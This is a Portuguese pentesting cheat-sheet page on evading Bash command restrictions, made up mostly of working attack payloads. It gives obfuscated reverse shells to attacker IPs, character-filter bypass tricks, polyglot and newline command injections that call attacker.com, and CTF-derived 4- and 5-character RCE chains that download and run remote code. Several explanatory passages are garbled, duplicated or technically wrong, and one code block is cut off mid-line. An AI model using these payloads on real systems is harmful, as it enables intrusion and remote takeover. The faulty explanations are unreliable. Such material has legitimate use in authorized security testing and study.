# Bypassando Restrições no Linux
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## Bypass de Limitações Comuns
### Shell Reverso
```bash
# Double-Base64 is a great way to avoid bad characters like +, works 99% of the time
echo "echo $(echo 'bash -i >& /dev/tcp/10.10.14.8/4444 0>&1' | base64 | base64)|ba''se''6''4 -''d|ba''se''64 -''d|b''a''s''h" | sed 's/ /${IFS}/g'
# echo${IFS}WW1GemFDQXRhU0ErSmlBdlpHVjJMM1JqY0M4eE1DNHhNQzR4TkM0NEx6UTBORFFnTUQ0bU1Rbz0K|ba''se''6''4${IFS}-''d|ba''se''64${IFS}-''d|b''a''s''h
```
### Shell reverso curto
Um shell reverso é uma técnica usada para estabelecer uma conexão de rede entre um atacante e uma máquina comprometida. Isso permite que o atacante execute comandos no sistema comprometido remotamente. Um shell reverso curto é uma versão compacta dessa técnica, projetada para minimizar o tamanho do payload e evitar detecção.
Para criar um shell reverso curto, você pode usar o seguinte comando:
```bash
bash -i >& /dev/tcp// 0>&1
```
Substitua `` pelo endereço IP do atacante e `` pela porta que você deseja usar para a conexão reversa.
Este comando redireciona a entrada e saída padrão para um soquete TCP, estabelecendo assim uma conexão reversa com o atacante. O shell reverso resultante permite que o atacante execute comandos no sistema comprometido.
Lembre-se de que o uso de shells reversos para fins maliciosos é ilegal e antiético. Essas técnicas devem ser usadas apenas para fins educacionais e em um ambiente controlado, como parte de um teste de penetração autorizado.
```bash
#Trick from Dikline
#Get a rev shell with
(sh)0>/dev/tcp/10.10.10.10/443
#Then get the out of the rev shell executing inside of it:
exec >&0
```
### Bypassar Caminhos e palavras proibidas
Existem várias técnicas que podem ser usadas para contornar restrições de caminhos e palavras proibidas no Bash. Aqui estão algumas delas:
1. **Usar caminhos absolutos**: Em vez de usar caminhos relativos, você pode usar caminhos absolutos para acessar arquivos ou executáveis que estão restritos. Por exemplo, em vez de digitar `./arquivo_restrito`, você pode digitar `/caminho_completo/arquivo_restrito`.
2. **Usar caracteres de escape**: Se uma palavra está proibida, você pode usar caracteres de escape para contornar a restrição. Por exemplo, se a palavra proibida é `proibido`, você pode digitar `pro\ibido` para evitar a detecção.
3. **Renomear arquivos ou executáveis**: Se um arquivo ou executável está restrito, você pode renomeá-lo para evitar a detecção. Por exemplo, se o arquivo restrito é chamado de `restrito.sh`, você pode renomeá-lo para `permitido.sh` e executá-lo usando o novo nome.
4. **Usar aliases**: Você pode criar aliases para comandos ou executáveis restritos. Por exemplo, se o comando `ls` está restrito, você pode criar um alias chamado `listar` que execute o mesmo comando.
5. **Usar variáveis de ambiente**: Você pode usar variáveis de ambiente para contornar restrições. Por exemplo, se um caminho está restrito, você pode definir uma variável de ambiente com o caminho desejado e usá-la em vez do caminho restrito.
Lembre-se de que essas técnicas devem ser usadas com responsabilidade e apenas para fins legais e autorizados. O uso indevido dessas técnicas pode resultar em consequências legais.
```bash
# Question mark binary substitution
/usr/bin/p?ng # /usr/bin/ping
nma? -p 80 localhost # /usr/bin/nmap -p 80 localhost
# Wildcard(*) binary substitution
/usr/bin/who*mi # /usr/bin/whoami
# Wildcard + local directory arguments
touch -- -la # -- stops processing options after the --
ls *
echo * #List current files and folders with echo and wildcard
# [chars]
/usr/bin/n[c] # /usr/bin/nc
# Quotes
'p'i'n'g # ping
"w"h"o"a"m"i # whoami
ech''o test # echo test
ech""o test # echo test
bas''e64 # base64
#Backslashes
\u\n\a\m\e \-\a # uname -a
/\b\i\n/////s\h
# $@
who$@ami #whoami
# Transformations (case, reverse, base64)
$(tr "[A-Z]" "[a-z]"<<<"WhOaMi") #whoami -> Upper case to lower case
$(a="WhOaMi";printf %s "${a,,}") #whoami -> transformation (only bash)
$(rev<<<'imaohw') #whoami
bash<<<$(base64 -d<< file ; command2 < file
```
Por exemplo, se você quiser usar a saída do comando `ls` como entrada para o comando `grep`, você pode fazer o seguinte:
```bash
ls > file ; grep "pattern" < file
```
Neste exemplo, o comando `ls` redireciona sua saída para o arquivo `file`. Em seguida, o comando `grep` lê o conteúdo do arquivo `file` como sua entrada.
Essas são algumas maneiras de contornar as restrições de pipes e usar pipes mesmo quando eles são bloqueados. Experimente essas técnicas e veja qual funciona melhor para você.
```bash
bash<<<$(base64 -d<< /tmp/[
chmod +x [
export PATH=/tmp:$PATH
if [ "a" ]; then echo 1; fi # Will print hello!
```
### Injeção de comando poliglota
Polyglot command injection is a technique used to bypass restrictions in Bash commands. It involves injecting malicious code that can be interpreted by multiple programming languages, allowing an attacker to execute arbitrary commands on the target system.
To perform a polyglot command injection, the attacker needs to find a command that is valid in both Bash and another programming language. This can be achieved by using special characters and syntax that are interpreted differently by each language.
For example, consider the following command:
```
$(command)
```
In Bash, this syntax is used to execute a command and substitute its output. However, in some programming languages like PHP, it is used to execute a command and return its output as a string.
By exploiting this difference, an attacker can inject a command that will be executed by both Bash and the target programming language. This allows them to bypass any restrictions imposed by the Bash shell and execute arbitrary commands.
To protect against polyglot command injection, it is important to properly sanitize user input and validate any commands executed by the system. Additionally, using a web application firewall (WAF) or security plugins can help detect and block malicious commands.
### Injeção de comando poliglota
A injeção de comando poliglota é uma técnica usada para contornar restrições em comandos Bash. Ela envolve a injeção de código malicioso que pode ser interpretado por várias linguagens de programação, permitindo que um invasor execute comandos arbitrários no sistema alvo.
Para realizar uma injeção de comando poliglota, o invasor precisa encontrar um comando válido tanto no Bash quanto em outra linguagem de programação. Isso pode ser alcançado usando caracteres especiais e sintaxe que são interpretados de maneira diferente por cada linguagem.
Por exemplo, considere o seguinte comando:
```
$(comando)
```
No Bash, essa sintaxe é usada para executar um comando e substituir sua saída. No entanto, em algumas linguagens de programação como o PHP, ela é usada para executar um comando e retornar sua saída como uma string.
Ao explorar essa diferença, um invasor pode injetar um comando que será executado tanto pelo Bash quanto pela linguagem de programação alvo. Isso permite contornar quaisquer restrições impostas pelo shell Bash e executar comandos arbitrários.
Para se proteger contra a injeção de comando poliglota, é importante sanitizar corretamente a entrada do usuário e validar quaisquer comandos executados pelo sistema. Além disso, o uso de um firewall de aplicação web (WAF) ou plugins de segurança pode ajudar a detectar e bloquear comandos maliciosos.
```bash
1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/
```
### Bypassar possíveis regexes
Às vezes, ao realizar testes de penetração, você pode encontrar restrições de entrada que usam expressões regulares (regexes) para validar os dados. No entanto, existem algumas técnicas que você pode usar para contornar essas restrições e enviar dados que normalmente seriam bloqueados.
Uma técnica comum é usar caracteres especiais para escapar dos metacaracteres usados nas regexes. Por exemplo, se a regex proíbe o uso do caractere ponto (.), você pode escapá-lo usando uma barra invertida (\). Dessa forma, a regex não reconhecerá o ponto como um metacaractere e permitirá que você o utilize.
Outra técnica é usar conjuntos de caracteres para contornar as restrições. Por exemplo, se a regex proíbe o uso de letras minúsculas, você pode usar um conjunto de caracteres que inclua apenas letras maiúsculas. Isso permitirá que você envie dados que não seriam normalmente aceitos.
Além disso, você também pode tentar explorar falhas nas regexes, como a falta de âncoras de início (^) e fim ($), que podem permitir que você envie dados que não atendam às restrições impostas.
Lembre-se de que essas técnicas devem ser usadas com cautela e apenas para fins legais e éticos, como parte de testes de penetração autorizados.
```bash
# A regex that only allow letters and numbers might be vulnerable to new line characters
1%0a`curl http://attacker.com`
```
### Bashfuscator
O Bashfuscator é uma ferramenta poderosa usada para ofuscar scripts Bash, tornando-os mais difíceis de serem detectados e analisados. Ele usa várias técnicas de ofuscação para modificar o código-fonte do script, tornando-o menos legível para os olhos humanos e mais desafiador para análise automatizada.
O Bashfuscator pode ser usado para contornar restrições impostas em ambientes restritos, onde a execução de scripts Bash é limitada ou monitorada. Ao ofuscar o script, é possível evitar a detecção de palavras-chave ou padrões específicos que poderiam acionar alertas de segurança.
Além disso, o Bashfuscator também pode ser usado para proteger a propriedade intelectual de scripts Bash, dificultando a engenharia reversa e a cópia não autorizada.
No entanto, é importante ressaltar que o uso do Bashfuscator para fins maliciosos é ilegal e antiético. Esta ferramenta deve ser usada apenas para fins legítimos, como testes de segurança ou proteção de scripts confidenciais.
```bash
# From https://github.com/Bashfuscator/Bashfuscator
./bashfuscator -c 'cat /etc/passwd'
```
### RCE com 5 caracteres
Uma técnica comum para explorar vulnerabilidades de execução remota de código (RCE) é a utilização de comandos de shell para executar código arbitrário no sistema alvo. No entanto, em alguns casos, o uso de certos caracteres especiais pode ser restrito, dificultando a execução de comandos maliciosos.
Neste cenário, vamos explorar uma técnica que permite contornar restrições de caracteres e executar comandos RCE com apenas 5 caracteres. Essa técnica é conhecida como "RCE com 5 caracteres".
#### Pré-requisitos
Antes de prosseguir, é importante ter acesso a um shell interativo no sistema alvo. Isso pode ser obtido através de uma vulnerabilidade de injeção de comandos ou de alguma outra falha de segurança.
#### Passo a passo
1. Abra um shell interativo no sistema alvo.
2. Utilize o seguinte comando para executar o código desejado:
```bash
${IFS:0:1}e${IFS:0:1}x${IFS:0:1}p${IFS:0:1}r${IFS:0:1}e${IFS:0:1}s${IFS:0:1}s${IFS:0:1}i${IFS:0:1}o${IFS:0:1}n${IFS:0:1} ${IFS:0:1}-${IFS:0:1}e${IFS:0:1} ${IFS:0:1}
```
Substitua `` pelo código que deseja executar. Certifique-se de que o comando esteja entre aspas, caso contenha espaços ou caracteres especiais.
#### Explicação
Nessa técnica, utilizamos o parâmetro `${IFS:0:1}` para representar um espaço em branco. O `${IFS}` é uma variável de ambiente que define os caracteres usados como separadores de campo. Ao definir `${IFS:0:1}`, estamos pegando o primeiro caractere da variável `${IFS}`, que é um espaço em branco.
Ao concatenar vários `${IFS:0:1}` com as letras do comando desejado, conseguimos contornar as restrições de caracteres e executar o código arbitrário.
#### Considerações finais
A técnica de "RCE com 5 caracteres" é uma forma criativa de contornar restrições de caracteres e executar comandos RCE em sistemas que possuem limitações nesse sentido. No entanto, é importante lembrar que a exploração de vulnerabilidades e a execução de código em sistemas sem autorização é ilegal e antiética. Essas informações são fornecidas apenas para fins educacionais e de conscientização sobre segurança.
```bash
# From the Organge Tsai BabyFirst Revenge challenge: https://github.com/orangetw/My-CTF-Web-Challenges#babyfirst-revenge
#Oragnge Tsai solution
## Step 1: generate `ls -t>g` to file "_" to be able to execute ls ordening names by cration date
http://host/?cmd=>ls\
http://host/?cmd=ls>_
http://host/?cmd=>\ \
http://host/?cmd=>-t\
http://host/?cmd=>\>g
http://host/?cmd=ls>>_
## Step2: generate `curl orange.tw|python` to file "g"
## by creating the necesary filenames and writting that content to file "g" executing the previous generated file
http://host/?cmd=>on
http://host/?cmd=>th\
http://host/?cmd=>py\
http://host/?cmd=>\|\
http://host/?cmd=>tw\
http://host/?cmd=>e.\
http://host/?cmd=>ng\
http://host/?cmd=>ra\
http://host/?cmd=>o\
http://host/?cmd=>\ \
http://host/?cmd=>rl\
http://host/?cmd=>cu\
http://host/?cmd=sh _
# Note that a "\" char is added at the end of each filename because "ls" will add a new line between filenames whenwritting to the file
## Finally execute the file "g"
http://host/?cmd=sh g
# Another solution from https://infosec.rm-it.de/2017/11/06/hitcon-2017-ctf-babyfirst-revenge/
# Instead of writing scripts to a file, create an alphabetically ordered the command and execute it with "*"
https://infosec.rm-it.de/2017/11/06/hitcon-2017-ctf-babyfirst-revenge/
## Execute tar command over a folder
http://52.199.204.34/?cmd=>tar
http://52.199.204.34/?cmd=>zcf
http://52.199.204.34/?cmd=>zzz
http://52.199.204.34/?cmd=*%20/h*
# Another curiosity if you can read files of the current folder
ln /f*
## If there is a file /flag.txt that will create a hard link
## to it in the current folder
```
### RCE com 4 caracteres
Neste capítulo, vamos explorar uma técnica de execução remota de código (RCE) usando apenas 4 caracteres. Essa técnica é extremamente útil quando você está lidando com restrições de shell, como quando o acesso ao shell é limitado ou quando certos caracteres são bloqueados.
A ideia por trás dessa técnica é usar um comando do Linux que tenha apenas 4 caracteres para executar um código arbitrário. Aqui estão alguns comandos úteis que podem ser usados:
1. `echo`: O comando `echo` é usado para imprimir uma linha de texto na saída padrão. No entanto, também pode ser usado para executar comandos. Por exemplo, você pode usar o comando `echo` para executar um comando como `ls` da seguinte maneira: `echo ls`.
2. `eval`: O comando `eval` é usado para avaliar uma string como um comando. Isso significa que você pode usar o comando `eval` para executar qualquer comando que desejar. Por exemplo, você pode usar o comando `eval` para executar um comando como `ls` da seguinte maneira: `eval ls`.
3. `$_`: A variável especial `$_` contém o último argumento do comando anterior. Isso significa que você pode usar a variável `$_` para executar o último comando novamente. Por exemplo, se você executar o comando `ls`, poderá executá-lo novamente usando `$_`.
4. `!!`: O comando `!!` é usado para executar o último comando novamente. Isso significa que você pode usar o comando `!!` para executar o último comando novamente. Por exemplo, se você executar o comando `ls`, poderá executá-lo novamente usando `!!`.
Esses comandos podem ser usados de várias maneiras para executar código arbitrário e contornar restrições de shell. No entanto, é importante lembrar que o uso indevido dessas técnicas pode ser ilegal e antiético. Portanto, sempre use essas técnicas com responsabilidade e apenas em sistemas nos quais você tenha permissão para fazer isso.
```bash
# In a similar fashion to the previous bypass this one just need 4 chars to execute commands
# it will follow the same principle of creating the command `ls -t>g` in a file
# and then generate the full command in filenames
# generate "g> ht- sl" to file "v"
'>dir'
'>sl'
'>g\>'
'>ht-'
'*>v'
# reverse file "v" to file "x", content "ls -th >g"
'>rev'
'*v>x'
# generate "curl orange.tw|python;"
'>\;\\'
'>on\\'
'>th\\'
'>py\\'
'>\|\\'
'>tw\\'
'>e.\\'
'>ng\\'
'>ra\\'
'>o\\'
'>\ \\'
'>rl\\'
'>cu\\'
# got shell
'sh x'
'sh g'
```
## Bypassando Restrições do Bash
Se você estiver dentro de um sistema de arquivos com as proteções de **somente leitura e noexec** ou até mesmo em um contêiner distroless, ainda existem maneiras de **executar binários arbitrários, até mesmo um shell!**:
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[bypass-fs-protections-read-only-no-exec-distroless](../bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/)
{% endcontent-ref %}
## Bypass de Chroot e Outras Jails
{% content-ref url="../privilege-escalation/escaping-from-limited-bash.md" %}
[escaping-from-limited-bash.md](../privilege-escalation/escaping-from-limited-bash.md)
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## Referências e Mais
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection#exploits](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection#exploits)
* [https://github.com/Bo0oM/WAF-bypass-Cheat-Sheet](https://github.com/Bo0oM/WAF-bypass-Cheat-Sheet)
* [https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0](https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0)
* [https://www.secjuice.com/web-application-firewall-waf-evasion/](https://www.secjuice.com/web-application-firewall-waf-evasion/)
\
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